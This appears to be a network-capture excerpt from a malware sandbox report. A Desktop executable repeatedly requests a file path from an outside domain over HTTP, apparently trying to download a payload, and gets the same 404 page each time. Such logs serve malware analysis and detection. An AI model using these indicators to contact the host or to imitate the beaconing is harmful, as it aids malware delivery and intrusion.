2025-01-14 07:26:35 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.5	50202	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:36 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:36 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:36 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:36 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.5	50204	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:37 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:37 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:37 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:37 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.5	50206	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:38 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:38 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:38 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:38 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.5	50208	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:39 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:39 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:39 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:39 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.5	50210	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:39 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:40 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:40 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:40 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.5	50212	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:40 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:40 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:40 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:40 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.5	50214	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:41 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:41 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:41 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:41 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.5	50216	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:42 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:42 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:42 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:42 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.5	50218	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:43 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:43 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:43 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:43 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.5	50220	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:44 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:44 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:44 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:44 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.5	50222	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:45 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:45 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:45 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:45 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.5	50224	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:46 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:46 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:46 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:46 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.5	50226	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:47 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
2025-01-14 07:26:47 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 07:26:47 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-14 07:26:47 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.5	50228	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:26:48 UTC	166	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: fodoknotel.za.com
